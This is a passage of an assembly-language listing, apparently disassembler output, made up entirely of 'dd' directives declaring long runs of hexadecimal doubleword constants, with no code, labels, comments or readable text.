		dd 0F71D8B86h, 0A440631Fh, 0AE6256C8h, 31C90094h, 0DD82EC29h
		dd 1509B939h, 0E6224Dh,	0B6852FCCh, 6B5E0318h, 7B428BE3h
		dd 8EA0E8Fh, 0D00A00CCh, 9CF340BAh, 18907000h, 77BD3799h
		dd 0E83D6139h, 28AF0C3Ah, 0CE511DC4h, 99E75E40h, 0C5B455h
		dd 49856592h, 1C0BBC0Fh, 0F3C24A00h, 2BFA9F0h, 0E040239h
		dd 2A52E080h, 8C4AAF40h, 75F7B00h, 84F7BC3Eh, 95410E65h
		dd 43C331CFh, 0BDC0AEA1h, 8C997798h, 2819900h, 5687D6h
		dd 66FDD15Ah, 0C98C3F63h, 75CADB07h, 40FE815Eh,	9D533EDDh
		dd 91123D65h, 3F337203h, 1AF0349Fh, 0D0C0232Dh,	5A22F7E3h
		dd 9C964CD5h, 56C3F800h, 8EBCD0A3h, 540088F4h, 7C91762Eh
		dd 0EC1DDEBFh, 46BE006Eh, 8E2FDC2Bh, 0A008543h,	0EB13EB9h
		dd 1CD96234h, 57E1AF9Ah, 0F02822BEh, 24181C0h, 42AB6A00h
		dd 0AFE0D365h, 81A50032h, 0D0FD4E46h, 0AD00EA3Eh, 1E70D51Fh
		dd 36915Bh, 0BE1AC3A8h,	8E2588FCh, 0F5B82D60h, 709817AAh
		dd 0B0680B2Ch, 54A05D2Ah, 262ED07Ch, 5ECD7903h,	0E009BF4Eh
		dd 1FAA14E4h, 808C1BB6h, 58C5E62Dh, 0E5002E8Fh,	76A2E074h
		dd 0D67FFFh, 0DCE10B45h, 0A753625Ah, 6D186F0Eh,	0D8B9AC24h
		dd 0FED60069h, 9B1EBF20h, 6772588Bh, 40CBC14h, 99E300BCh
		dd 0EE46DD88h, 0E4973A13h, 20418151h, 83F419A7h, 0D2B0332h
		dd 0E4FB75A3h, 1B239AB0h, 0F6E95600h, 10D2634Eh, 509927h
		dd 879FDC28h, 81078E1Dh, 9641BDE5h, 49F322E0h, 0E8949098h
		dd 961079EEh, 0B7980C4h, 9ECE3314h, 75FA7D06h, 42D032h
		dd 0F0A29A67h, 0A477FB03h, 0E6B91E00h, 9CF4E7EAh, 573D0774h
		dd 1965EE9Ah, 7BCB8280h, 15015542h, 0A3BB7949h,	90EB0E03h
		dd 181EB25h, 0F0E05D85h, 301AF768h, 54B89058h, 586BDB05h
		dd 7C80FB84h, 9E9A3Fh, 31F56105h, 7F7A2703h, 20491F00h
		dd 1391C96Dh, 2CFB888h,	0CAEBCF65h, 58402DB4h, 0D510964Bh
		dd 7B0225BDh, 0AC82996Bh, 0CCE303E1h, 48E2CD67h, 0BE871300h
		dd 14CC4C20h, 0E47A21h,	9BEE8608h, 4504CF66h, 0FF00F7E2h
		dd 91C137ECh, 33BD8F8h,	0AF9B6BC7h, 90C449D9h, 0B4823558h
		dd 7B0036F2h, 0DC454ED4h, 974C5Bh, 4B74CFE7h, 214941A4h
		dd 100088B0h, 0AFE9AA2Bh, 63FB73h, 0AD4B48C5h, 8B2C3897h
		dd 0C3296200h, 0B7EC251Dh, 0FDC258E0h, 348F9D38h, 0D0F5E27h
		dd 7ACC0EAh, 60414EA6h,	141F7088h, 780096FAh, 1D6475C7h
		dd 0E97A8B5h, 0B938E85h, 3CCC34AAh, 7FC54h, 760F8108h
		dd 73534A4Dh, 0EF093F04h, 9CD09B9Ch, 3F45721Ch,	7480C7D9h
		dd 0A71573FBh, 92F49FFFh, 8551DA13h, 3FB33900h,	50F69A26h
		dd 396296E6h, 5DCEFAh, 2004E4Ch, 8C27761Bh, 8898E518h
		dd 0BD859804h, 48F06453h, 31CA0E40h, 0A0201C8Eh, 5F3E23A9h
		dd 8306F300h, 7465AF95h, 4E0F826h, 34C5E8DCh, 0A28F09Ch
		dd 49B3C100h, 0CC01E6FAh, 16D71A6h, 0AF8E4232h,	20702D3Ah
		dd 93011A34h, 0C4E57C4Ah, 94F95D45h, 0F2B6DBC8h, 0A38900F5h
		dd 0C751CC65h, 16328311h
		dd 833720B1h, 0C0C4FAD0h, 76ED3A45h, 0D50507E7h, 0A0717BB4h
		dd 776BC6DDh, 930C060h,	0E0B3E9h, 37413248h, 20BDCBD8h
		dd 2CF3A42Eh, 28A58500h, 7C2B8Ah, 368FA9FBh, 566FCA67h
		dd 0A2EA4801h, 45833C19h, 895030h, 0BF7E5551h, 0EBAD60A9h
		dd 7F136114h, 0EAAB00ACh, 0BA32DDF9h, 9B680575h, 0C0042D5Ch
		dd 0F3AA361h, 0CE25FC00h, 0D94B5837h, 2BA91F96h, 0BC18800Ch
		dd 0E668B7Fh, 3B014014h, 0F11F00A4h, 0DFC0C757h, 81740134h
		dd 0D11847C9h, 2003830h, 393CB612h, 0FC71401Eh,	0F4E600F8h
		dd 0AEBE4D13h, 0F201425Fh, 0F1AC2DC4h, 0C2CC8185h, 6E39094Bh
		dd 24C575D5h, 0B9E45D00h, 0BDF2F0h, 0E83FDB10h,	0CDC4E079h
		dd 87605712h, 0C6B2AA00h, 0EAA59Eh, 0E8DA2E7Ch,	93E21CD5h
		dd 0C9D08212h, 0AAC28400h, 2EA42FCFh, 132B563Fh, 82001E2Ch
		dd 0E8DF5BABh, 725A4468h, 48A02300h, 1B3B7492h,	24CF003Ch
		dd 458561E5h, 6D00A3E9h, 0D9C13006h, 13361D5Ah,	901E358Eh
		dd 200E51F4h, 39317D00h, 3B59C47Ah, 0F89F03A3h,	13C5B5DAh
		dd 485C7809h, 4674C0DFh, 3C2D78ECh, 500B4CCh, 0E954EE5h
		dd 0FA0139E6h, 0DC36C351h, 0F0600706h, 90EF1292h, 0A9A000F9h
		dd 958BBC26h, 79EA1405h, 0A8001C9Ah, 0C8726505h, 337B00F2h
		dd 0A4C76786h, 9E01B39Dh, 464940B5h, 90704461h,	7D8C00EDh
		dd 180CC8D7h, 7305A24Bh, 19D30B86h, 395E8900h, 49BC88h
		dd 4B706BB0h, 282FA4DBh, 86F49F00h, 0C40CB88Fh,	2CC778Dh
		dd 989C5381h, 0ECE0A343h, 2C10BA25h, 7F003B7Dh,	0CFF675C1h
		dd 5A0026D2h, 0FE82E3D6h, 80ABB2h, 667EF410h, 0BA90119h
		dd 5A9AE703h, 9843E048h, 3F695AFh, 6235B849h, 9BF8DF1Eh
		dd 3180A7B1h, 0C69800D5h, 69662850h, 3E006DA9h,	45B7746Fh
		dd 3447186h, 0E152CFAEh, 43900CB5h, 60001480h, 45BEBF21h
		dd 1CE729A8h, 803E31A4h, 0AC3FB989h, 0F5005CB7h, 0EC93BAA5h
		dd 59E82Bh, 1641BF6Eh, 0F1E6C7CBh, 1737F512h, 84006BACh
		dd 0F052D46Dh, 0CE312FACh, 9A32F853h, 2481843Dh, 0ECC41B70h
		dd 0CD1E28E0h, 7144A70Eh, 0CC86AFD3h, 3FFCA0E8h, 0C4BA1217h
		dd 0B72800A0h, 62C091E9h, 0A2766600h, 27CC2A28h, 0D7FB0018h
		dd 0B2ACED1Fh, 83004313h, 0C5DC6DF5h, 1157F17h,	0E6782F5Bh
		dd 0C0394DD8h, 4C2F3BACh, 6D008003h, 2E947663h,	84E2D1h
		dd 66F13583h, 180F2B9Dh, 0C9230A6Bh, 0D0C48A7Fh, 84B31600h
		dd 1CFC6CCh, 0F4048817h, 0F5B8B568h, 0A8B0912Bh, 7A6E50C2h
		dd 8660D462h, 4B0046C2h, 0ABF30640h, 5A8CBDCCh,	64C40728h
		dd 0F704F030h, 270198FBh, 0B197DFA3h, 8C37A73Dh, 390BD204h
		dd 4CA0A0C3h, 911ADD00h, 8CFCF422h, 26B72C6Fh, 0EC408054h
		dd 3D6C489Ch, 0AA1DDEB8h, 6080CC9Dh, 699A5694h,	8E4A0027h
		dd 7C616554h, 0F300E309h, 0D5CD9226h, 1E24659h,	7B300FDFh
		dd 6074548Fh, 283CC9C6h, 53948078h, 4C85DBFEh, 0D511F9Ah
		dd 32B940FCh, 1A4179A1h, 27AFA200h, 613495Ah, 4D613ED4h
		dd 3D8FFF80h, 0B9871768h, 3964A500h, 0E922FEF8h, 95455097h
		dd 0C1BC0019h, 0F127BBC7h, 0DA0ECACBh, 0C1E7A1FEh, 0B86B4183h
		dd 28BE6F70h, 1A0067Bh,	0B2D31144h, 318FB3D1h, 0D436DD00h
		dd 4C0076DCh, 5073A66Dh, 25BD9F3Ch, 20001C58h, 818EF137h
		dd 481FD8E0h, 454BDC8Ch, 6DA982FEh, 593460D0h, 0CDF90089h
		dd 9E63F88Bh, 302C0C37h, 2605875h, 1AE20DBh, 29549F04h
		dd 40CC2157h, 7C4773C6h, 89E790Ch, 1F90A802h, 0EAED61h
		dd 18460FFAh, 0B33BBA06h, 0C6EF8336h, 0E2DB05D0h, 4F056h
		dd 8C122402h, 288F1D6Ch, 0FC09C003h, 8A363E7Eh,	0B97C60D5h
		dd 0C730170h, 8C3FAA27h, 0D9B880C1h, 0EC3B60FDh, 77090DFh
		dd 0FE575F35h, 0B167000Ch, 52269FBDh, 3608CC1Fh, 0FFA15047h
		dd 0A6FE6E03h, 8AF1839Eh, 0B918E021h, 3CF001E9h, 6E9138D3h
		dd 9AEED856h, 0BD494E07h, 80A94B5Bh, 0B0B869B5h, 79541DB9h
		dd 763E005Ch, 9728F1E7h, 96877B01h, 0F899AF9Bh,	4CCD6870h
		dd 1402A4DFh, 0CBDAD6DDh, 8FC63200h, 4B3A4069h,	80112600h
		dd 37392EAEh, 8BC09E89h, 428047DFh, 0C65E22C2h,	0F97BDC02h
		dd 0E11DCE77h, 5C7CAB9Ch, 0E1F17D00h, 1557599Dh, 3F57700h
		dd 1A6D18FAh, 20274A45h, 67435800h, 0F068B000h,	0C233905h
		dd 0EDF60066h, 2C0D7DC1h, 0B471DA19h, 219B3E24h, 0BFD86E01h
		dd 28283254h, 0D100EA20h, 97B02018h, 70F8C2h, 8E1BCB31h
		dd 53B97643h, 5ECE171Ch, 3B00CD56h, 183635F5h, 0DC2E2CFDh
		dd 0BE461C7Ch, 0C92F1Eh, 71A9AFA7h, 6A30BB69h, 47EE10DBh
		dd 0D7730090h, 0F905136Bh, 674E2CDAh, 0A10DB405h, 7B520B4h
		dd 6657381Ch, 0B789C09Fh, 0C75E3FD4h, 153E1800h, 8FA1CBh
		dd 4E51560Eh, 0AADCCC3Ch, 60774525h, 0F09B9Ch, 0CA392AC3h
		dd 3AF7A8CFh, 129A0801h, 0A07FD860h, 0D173C34h,	0B090274Fh
		dd 311ED811h, 0B07D732Ch, 60230C82h, 1845004h, 0F54DEF1Ch
		dd 60DE2BAAh, 1201AB2Ch, 5EA859A7h, 65D5EDBAh, 4FE92881h
		dd 0C0F1A38Fh, 0C33CD4DEh, 9EF91795h, 14B57001h, 246016ECh
		dd 0CE050003h, 74A6886h, 73007887h, 98C648F3h, 0B0756F2Dh
		dd 41FE0042h, 89CB4FB5h, 0F7002346h, 0CA66246Eh, 99CB86Ah
		dd 94A2D94h, 0C134DC00h, 100262A2h, 0A36C5FE4h,	0FC07882h
		dd 961D5DA6h, 622B2020h, 0B008970h, 0E6E733EDh,	96EA3F42h
		dd 0CCBC00ECh, 6FCEF42Dh, 0E548AD77h, 0D9290FD4h, 30295369h
		dd 77D58ECh, 0F3430E2Eh, 0DDDF4020h, 0FCF3040Bh, 6B00B5B9h
		dd 59A6A13Ah, 2A6A28h, 0CCE47C01h, 1F168FC3h, 76C2F102h
		dd 48968149h, 38F62B08h, 0BD3A35FDh, 2A484784h,	0E264CCA6h
		dd 6049F200h, 0F2CD440h, 0A9C60005h, 0A3B70AC1h, 740553DBh
		dd 0E02DCFFh, 0EE42CCA0h, 10D5006Fh, 90ADB195h,	0B62F75A0h
		dd 0E5680682h, 0CD2C0461h, 80AF934Fh, 42F01074h, 0B7641316h
		dd 45C2D03h, 0A230B1A7h, 0CCFA2081h, 0D0E19B28h, 0C45C2A85h
		dd 14760031h, 0EEEF5711h, 13F3005Bh, 4760A9C0h,	0A800CE78h
		dd 1AD21290h, 7422660Ah, 746300BAh, 28B462DEh, 907CEE2Dh
		dd 7012DD00h, 4DEB8586h, 3E4B00DCh, 0A97C4935h,	0D800BB72h
		dd 6B48B9BEh, 7B4ADED5h, 7EBA2E67h, 0C0A21DEAh,	0E7EDF513h
		dd 5E0011B3h, 0AE759705h, 71A8ED2h, 7ABC74Dh, 28F7D08Bh
		dd 720038DEh, 19EC13B9h, 90AAE3h, 0FD0805Ch, 0B6FB36E9h
		dd 0FEABDE04h, 0D180B0CBh, 182D86Ch, 958CD087h,	0F9BA13B8h
		dd 3BD83CD9h, 2C045AF7h, 0A4C09C63h, 727F4153h,	0E2790774h
		dd 0F073188Ch, 22E38045h, 0F21A993Ah, 493F5A00h, 90D78309h
		dd 0AE50066h, 23972AB5h, 0AF099ABFh, 0C0FB9DADh, 75CFA4DCh
		dd 49241363h, 0C39C03E3h, 0C5C0BCE2h, 0E80061A8h, 407DF7BEh
		dd 0B5C0A3h, 7F312E5h, 2181AFD5h, 0B2775D00h, 604F457Ah
		dd 7067933h, 85F39E25h,	4227D082h, 8B00C511h, 446091BEh
		dd 3B97D64Eh, 2D80D4D2h, 50759206h, 35FCDF2Fh, 0FC66CB02h
		dd 4894F688h, 0BEA06464h, 28987A8Ch, 0E4B83FF5h, 0E9FE2103h
		dd 7E69612h, 0CF3AF6A2h, 755FE027h, 0C1F01F7Fh,	0D5014174h
		dd 848131D4h, 3DE46AFEh, 3E0B26C7h, 80EC14E8h, 2B7B409h
		dd 36F06C48h, 0CD1E1B7Fh, 0F5960FEEh, 56791040h, 71F38AC0h
		dd 0BC284C2Dh, 9A00223Ah, 33EBEE5h, 5800686Bh, 87F3C10Fh
		dd 0BCF008h, 0CF208B1Fh
		dd 394DBFDFh, 904BA03h,	0A0F1EE7Dh, 9D8C75DBh, 0EC1C5C29h
		dd 6A5E3Ch, 0E386F429h,	268BB247h, 0F0CB2Bh, 0B71D668Ch
		dd 0C23F0820h, 0DB1580E4h, 632E5FEEh, 5ABE0739h, 34BCDF86h
		dd 0F6FCC1CBh, 7ACD12A9h, 587B01E8h, 0BA2D6D9Ah, 0A03879h
		dd 0E206AD82h, 9CE8BBh,	2C91980h, 0EA9BB8B6h, 0A53C9D02h
		dd 60843210h, 3A8310h, 0B00B054Bh, 9A3D47FEh, 56296709h
		dd 200D05Fh, 21BCC1EAh,	0B660C604h, 0F0A01869h,	0EB00E519h
		dd 0E629FA75h, 0F7E9B7h, 0FF6F377Fh, 18283C3Dh,	0B000D571h
		dd 394C2FCEh, 425448h, 85B35AABh, 3BFAB7C4h, 20B828C0h
		dd 0D8C6F4h, 0C7FF1279h, 5CFE871h, 0C10D6609h, 6D3C48D1h
		dd 0C33B0008h, 0E2524997h, 0F4006255h, 4131B89Bh, 0B3F6F0h
		dd 0D590873h, 0A65A57F1h, 0B21F3EE4h, 0EBC9E2F3h, 0D4848201h
		dd 1C2454E0h, 0C64C0983h, 6C1F2680h, 0FD3F0645h, 0B2D1FB5h
		dd 81E250C9h, 0C6C7544Dh, 95CA6870h, 0AC1B2800h, 0E505138Dh
		dd 779D4D8Fh, 0EC092080h, 9CF47C9h, 0DAE70Eh, 92DC6F23h
		dd 8D49517Ah, 0C6506540h, 8AB3001Dh, 99FA8FDEh,	4612523Bh
		dd 20F0D1AAh, 6FA40164h, 5D1FCC4Ah, 0A8F36016h,	17621C00h
		dd 760EBD07h, 0EF180022h, 0D9332A9Fh, 67773866h, 858DDC0Eh
		dd 5B65C3BBh, 0BDCBD040h, 71A4B03h, 46BE0B74h, 0C4054E80h
		dd 2273ABBCh, 23004CF7h, 62324FA6h, 8018B71h, 28497790h
		dd 22F44DAAh, 0A02F0066h, 1D6A7DFFh, 0C97E9BE6h, 28D65Ch
		dd 0C30AA825h, 18018E18h, 18C4B2C7h, 0FC799D9Eh, 1FE0C000h
		dd 3DBEDA3Ch, 1DDE002Ah, 0F4E774DBh, 0DC007AA4h, 2D3AE390h
		dd 0FFB351Fh, 3E4488EAh, 4282CA00h, 0AF019E02h,	133F5FC6h
		dd 10800192h, 4F382B16h, 0AA00D9A6h, 0F7A0C625h, 8D759Ah
		dd 996728EEh, 29DE9D98h, 49205800h, 66066B8Fh, 0B91D121Eh
		dd 0BC480016h, 5CB17442h, 96A1701h, 1E107686h, 28F3AC4h
		dd 0FCFFF8A1h, 61C0297Bh, 0B205539Bh, 0FB475983h, 5C15B056h
		dd 9421C2Ch, 243EBB00h,	0F190E2h, 0EB2AF0D2h, 0A17D7B4h
		dd 76740898h, 667AFE00h, 9CA50D19h, 70F600C4h, 0D43878E8h
		dd 0EE48F78Dh, 27BD0434h, 5F60CEF5h, 250543BAh,	0AB2D3B7Fh
		dd 6F2CE040h, 2DB76350h, 3414AA17h, 0FC3D6B00h,	0DC1D4BA8h
		dd 31373E84h, 0A42D6505h, 0A084B020h, 6CE2CAE4h, 0BF4A1000h
		dd 7F525D92h, 7850E47h,	9F0030DEh, 96EBF5C3h, 0F0BB7B2Eh
		dd 5047400h, 0BADDC92h,	0E4614E97h, 8783B580h, 5B0015A2h
		dd 0B173F4Ah, 1CACD3h, 11C6840Ah, 26538112h, 0C1857C00h
		dd 3FA1F177h, 0B0A71A4h, 7504E38Dh, 2F6F7C90h, 48407600h
		dd 491D07E0h, 854E0017h, 28ED948Ah, 8138A3A9h, 735D8040h
		dd 0EFF41FA8h, 9DDF610h, 0C5FB32F6h, 0BF60A780h, 91FBEADh
		dd 0A6C0A79Bh, 0D29E5A19h, 2EBC0098h, 3374C3FBh, 0F400EF7Dh
		dd 0F523B94Ch, 4CFFD2Ah, 227081D7h, 291D8034h, 390073B6h
		dd 9BBDE4EFh, 0B9A4165h, 8C97032Ch, 0F0249CC0h,	0B899C101h
		dd 0B7184C51h, 82470h, 0D5B05C4h, 2F3B86F9h, 0DA591900h
		dd 0E1700BEBh, 67780185h, 345E29AFh, 0F073D109h, 0EB00C3BDh
		dd 0B3FC7E46h, 0E9E1423h, 0F293A0A1h, 4F3B8860h, 6800CFFEh
		dd 61DC012Ch, 26ADA583h, 1284D319h, 8FDCF0A2h, 1AF61877h
		dd 0E3B13200h, 0D036C9D1h, 0FE6A3DD6h, 0FB300073h, 7C910B57h
		dd 20FD7911h, 0E603D31Ah, 869DD73Ch, 838C0B16h,	0C0C0FAC1h
		dd 1C0031CEh, 0F3DE1518h, 979664Bh, 97227DB9h, 0AAF0405Ah
		dd 0A129E500h, 7B2B0281h, 553C006Fh, 348DC35Ch,	84009841h
		dd 0B9F231AFh, 0FA1A0A97h, 7EC200ECh, 85A7D925h, 7B0707F6h
		dd 9D5F66BEh, 0C00F92DEh, 0BC5E6198h, 1C740931h, 1CB300EFh
		dd 6135862Dh, 0E71F8BB9h, 0DE2716B1h, 9D730E58h, 5DBC9998h
		dd 0B022620Eh, 0C648A023h, 0E1C1632Dh, 55260028h, 5935187Bh
		dd 712060C9h, 91113981h, 0E040D437h, 0CF54F48Ah, 0A52D7A06h
		dd 0F4613CEBh, 63750F4Fh, 53E05BA0h, 5E57ABB7h,	250AA9E6h
		dd 342CFAB4h, 8334C508h, 8A7190C7h, 36A191E3h, 0C9080BEh
		dd 0EE88ACD9h, 6376F5h,	745E4850h, 4B711530h, 0C27BE00h
		dd 3B4C66D8h, 41C80012h, 781D0635h, 0A2004090h,	0EAEFB06Bh
		dd 74B6EBh, 5AC3AA3Eh, 0A48D7AFDh, 5B23E000h, 12280867h
		dd 1AF60C7Ch, 0D1A1301Bh, 39B68900h, 0D5F9DF9Ch, 810A0013h
		dd 1BE13293h, 95003D9Fh, 3AB8C7BCh, 0CB73B4Eh, 121D11F3h
		dd 9B337541h, 0B89FF87Eh, 7447A041h, 7D4B5Eh, 7EA3605Ch
		dd 7006D87h, 88ED5716h,	14218518h, 0E0E45E09h, 65541C05h
		dd 5AF42026h, 9B03D3ADh, 27180BCh, 580930C1h, 0D3C4FA21h
		dd 594B7200h, 0F996AE25h, 41300CABh, 15992B71h,	4EFC8D78h
		dd 4F110360h, 28B9FE0Bh, 1DF40D6Ch, 1860F574h, 34221F7h
		dd 32BDFE00h, 5F0AED2Eh, 0A9350677h, 0B084AFD0h, 0D8103F0Ah
		dd 17448464h, 0B17E8D60h, 3D6FA923h, 35766E44h,	0E320BE00h
		dd 1CFB51DAh, 54B0D046h, 8C5DB8h, 0C01D8CFh, 9ACD90EFh
		dd 3F25A00Dh, 0F0D0988Bh, 0A84C60D0h, 509DB3AAh, 0E2003176h
		dd 0F29EAB34h, 0ED1E5Fh, 0AC4452B5h, 3AF3808Ah,	0BF70A500h
		dd 0D1C02537h, 0DB6A0FE3h, 3EC1FE5Ch, 0F4D7D0B8h, 0A00B7CCh
		dd 9AE42008h, 0A774D3h,	5B03727h, 0DEE764F2h, 0E998258h
		dd 201D26D2h, 423EE37Ch, 987E00A5h, 87310DFFh, 0DD3C2D4Ah
		dd 0B7AD035Fh, 80400936h, 3873A650h, 0C503239Eh, 7E3F5326h
		dd 9DF58CC8h, 3A967F00h, 0E6E4BCEBh, 41780E42h,	0C2E0AB46h
		dd 7526D0F6h, 0DF96E30Fh, 0D8808064h, 0F8E160Bh, 0D0157499h
		dd 204CA4E0h, 0E000B6BFh, 45607F9Fh, 0BC7246h, 2AFEA0D3h
		dd 4396CBABh, 6BB9D200h, 0E89DAD1Bh, 80F1541Eh,	0D004A5D3h
		dd 0E460733Eh, 74878B10h, 97D80063h, 0A1D51868h, 467C2840h
		dd 6D3ED600h, 7770CA19h, 4414A148h, 4F444508h, 94228481h
		dd 21404275h, 11423F69h, 9C1186B4h, 1C641117h, 3C1A2911h
		dd 8498C447h, 1D11C842h, 7BBE111Bh, 0C2087421h,	8431901Eh
		dd 0F0487CB5h, 98F8DC47h, 0EB9E79E5h, 6957EF00h, 7926CB27h
		dd 537E0018h, 959C2456h, 8A5CE768h, 0F7DB00BBh,	4D90386h
		dd 0DA3504CCh, 0C0D2EA5Fh, 9846C666h, 22B540Eh,	7E403D10h
		dd 7821078Dh, 0A1770016h, 0CB55E9Eh, 813FE98Eh,	4500754Ch
		dd 73C83325h, 0CDCCF6h,	0A47CF443h, 0D84D17FDh,	715C5300h
		dd 3814A033h, 319B016Dh, 0E10B0A59h, 0A5D4C860h, 0B21FACECh
		dd 779CE4BBh, 4F5B8C2h,	0A8004B06h, 0F1EA54h, 342D1845h
		dd 0EBD82A8Ah, 56BD5100h, 0B77E4271h, 0EEC84852h, 64866A3Bh
		dd 4026D89Fh, 8E00237Ch, 62B34BAAh, 9EA97Fh, 76697443h
		dd 9007597Ch, 0EB7519E6h, 1184F01h, 8B72E65h, 0AD6E9040h
		dd 2476DCh, 738DE4E9h, 38A8ACBAh, 0C086FC00h, 1D3D8357h
		dd 5068033Ah, 8EB12814h, 0B7BDEFB8h, 9853B528h,	0C5CD3B03h
		dd 691E70h, 0B86D5A10h,	0D0E7B67Ah, 164D011Eh, 59D82E40h
		dd 1D057136h, 40623807h, 0B4DE23B2h, 4E074239h,	5EA10A11h
		dd 0BBE06C97h, 0E59CB19h, 0E4C485C3h, 2BFCB940h, 0F403D053h
		dd 7CFA05E2h, 0AC04979Bh, 0F07FFCC0h, 0B14B1D7Ah, 0BC8E14DCh
		dd 0CD739500h, 521A3704h, 0C5003878h, 0D36AE2E3h, 979639h
		dd 109D99ACh, 8191B187h, 0DF67A900h, 0CEB6DCD4h, 0A52B0538h
		dd 42115A1h, 81E144B8h
		dd 0C42F9E84h, 3600A439h, 4E863F5Eh, 0D8018Ch, 0C5F8701Bh
		dd 7AFC78F9h, 235A470Eh, 0BA2160A7h, 338B950h, 0DD7CACDBh
		dd 0A0C87FF5h, 0D1179B96h, 9006660h, 1246801Eh,	765400C4h
		dd 53B218CEh, 9500E2FDh, 51BC0CC8h, 0CCC95Ah, 34C7581Fh
		dd 83988D71h, 0FD014490h, 634512E8h, 0A9C0BD0Fh, 0DCB90DC8h
		dd 89760CD0h, 80DB15A8h, 9038040Fh, 278B00CFh, 1CE2B3AEh
		dd 0D628290Ch, 627CB59Bh, 0FF91C409h, 0DE3C016Fh, 725F2h
		dd 0CDB98EC9h, 4400EE79h, 0FEFD486Eh, 428CCFBh,	0D0C30C8Dh
		dd 10088059h, 38009C34h, 0F41BC756h, 1B0411Ah, 149A7771h
		dd 0FA57BB22h, 0EDD55840h, 93041B7Fh, 96F2D946h, 590ECEC0h
		dd 0EB0FC3Fh, 73DE2411h, 0BABDF020h, 0DDE6307Dh, 80FB4B51h
		dd 0D32EE2E0h, 0E3A458A6h, 0A35EE8h, 82308C5Dh,	740D8972h
		dd 65512E0Fh, 0F36E631Ch, 607592D0h, 9AEA72C0h,	0D8842Ch
		dd 4BB851CDh, 0EDCA3886h, 8350DC6Eh, 0E0C2AC9Eh, 0E0517Dh
		dd 2D9CA068h, 49736255h, 0B5EE7112h, 8005C449h,	0C5445934h
		dd 1B8B0365h, 94E230A5h, 0F4C7F399h, 7607E59Dh,	8543D562h
		dd 0B9E80059h, 4C2EE7CAh, 0F112D741h, 0DD5400FBh, 0FFFCAA04h
		dd 808B103Bh, 0BBF0C51Ch, 0EC9185h, 269BA9CDh, 2578C70Bh
		dd 8A00207Bh, 1E10CC42h, 9AF5BF06h, 0A67A0070h,	0B224E857h
		dd 9D7CA385h, 0A42A500Ah, 2C0EB015h, 36066095h,	0A45B6h
		dd 0E04275F5h, 0DBF3F7F2h, 6B569F00h, 7FAB4ED8h, 0A27600BAh
		dd 0D9719C91h, 8F07C72Ah, 0EE7BE6D2h, 23DBF4E0h, 82E21Fh
		dd 0D328B390h, 429A0449h, 0E9157200h, 950E1276h, 0B7E30014h
		dd 0CFC2DC85h, 4A00C1ADh, 8DA97E6Bh, 12A7C616h,	0E0E49Bh
		dd 57615440h, 48005EE5h, 0AC11DA2Ah, 270DFEh, 1EA61694h
		dd 0BF95EF89h, 0A800B798h, 6AA7777Bh, 0D0DFE3h,	0D4BBE75Dh
		dd 0AC25AD7Ah, 0A4851807h, 1C600AB0h, 0FCC8B1h,	2D837ABh
		dd 36985B9Eh, 15D2F60Fh, 0A8CB0A94h, 9CE70B00h,	12144B80h
		dd 676166h, 0CF01E660h,	48002D0Ch, 5199A9DAh, 0B7F7D8h
		dd 936B9E53h, 9084D0B3h, 98CD4100h, 0E80D18B1h,	8E710EFCh
		dd 7929480h, 402696C7h,	0E70EFD39h, 5AF83Eh, 0A3615206h
		dd 0EEB3808Dh, 9F3B0124h, 8363AAB0h, 46CC249Bh,	2F0B5470h
		dd 215F3F95h, 0EED75E2Ch, 5787B980h, 0CC2DEDB3h, 0AAFBC102h
		dd 60C38C8Ah, 1D020BC4h, 41EB4547h, 3CB77659h, 0E67ADC0Ah
		dd 8794CD0Eh, 0FEF60A1h, 1DDD0CACh, 86BE86C2h, 19E2D181h
		dd 62348202h, 60472C28h, 6E8AFEh, 48F7531Ah, 33819BE8h
		dd 0A800D27Dh, 0B88872A5h, 0E2CC8ACEh, 0B982009Ch, 462BE8BEh
		dd 0A0B039A0h, 0CCADD828h, 0A8AA5700h, 9C53E4EDh, 5FC83811h
		dd 71884500h, 12BF682Eh, 59500100h, 48EC021Fh, 0EA60E67Dh
		dd 194E0207h, 0ADE71A8h, 40F9FCC9h, 75968AF7h, 0CD7E4BB0h
		dd 0EE887900h, 2C9BE118h, 0F48E7B6Dh, 62B13E89h, 8604B981h
		dd 0D4EBB381h, 0D100F942h, 679A4B38h, 1FC1ABh, 0B99F33E9h
		dd 8B992744h, 0A5223100h, 0B50B3F77h, 76C01224h, 0B4604B43h
		dd 0BEC62880h, 9CC1C9E6h, 856E9ECBh, 87B6F4h, 798F297Dh
		dd 1B18C59Ah, 8171C07h,	3100054Ah, 69093Bh, 434ED935h
		dd 8371CA4Dh, 0FC94AA50h, 67BA4909h, 9AFC204Bh,	48707590h
		dd 38005062h, 0F5655C0Fh, 1C00C064h, 12F30586h,	882930h
		dd 0A3A017EDh, 1336962Ah, 50EA7F4h, 8177E4A1h, 87501EDDh
		dd 7894F0h, 8B69A037h, 0FF5596EFh, 0F43AF200h, 0DF2DFA30h
		dd 53290024h, 0B6999C7Eh, 0CF00F6D3h, 4F8C9EE6h, 0A13146h
		dd 27BD1E91h, 0C76186DEh, 0E212C100h, 7B682CC3h, 9B040EA2h
		dd 27639567h, 0FBC080EDh, 0F0002ECEh, 0C07B5B60h, 163C3B7h
		dd 27FE0C40h, 0C83067DFh, 85008AAFh, 0E1025BAh,	1969F0h
		dd 605FC4DCh, 6590EED5h, 0C499012Ah, 32AD081Eh,	0D9BFB00h
		dd 1397B5FFh, 0EAA92E2h, 0D4C0CA6Ch, 80DE66CBh,	0B84E43Dh
		dd 207EEBB2h, 181C2064h, 0FB4E1409h, 0E8158702h, 6004C4DFh
		dd 0C2FD2FDEh, 2DE0ED24h, 6701E336h, 5EE14610h,	56F40C78h
		dd 2DDA0780h, 701AEC6Ah, 242C6258h, 0F8C384Ch, 8FB74E99h
		dd 3C8BE0F9h, 955BBBh, 0D7D0EFDFh, 0B8EA5309h, 0B48F49h
		dd 693CF239h, 0BA1E636h, 0E342D33Fh, 0D00042D0h, 8860A0D9h
		dd 28D27FEFh, 0F4B164h,	1FBF707Dh, 81CA57DDh, 0B0B5DF07h
		dd 7CE08355h, 8876C4h, 0BBAC0979h, 0CEAB7752h, 0D50078EAh
		dd 1017DAE9h, 0E30D98A3h, 1E3068C0h, 0C087F266h, 0B67A4A42h
		dd 9700E270h, 96C4256Ah, 5D40FBh, 42DA3A2Ah, 0F1EEE001h
		dd 0AF627C0Ah, 3000C8DFh, 634A3B65h, 0E6560054h, 0D92B3D5Dh
		dd 3003812h, 0F38D0AF2h, 5E91BA9h, 0EB97CB7Ch, 0FFD8C4C3h
		dd 0CF348EC7h, 0C1D1B480h, 7E130CA0h, 18C07B98h, 0E9E4AD01h
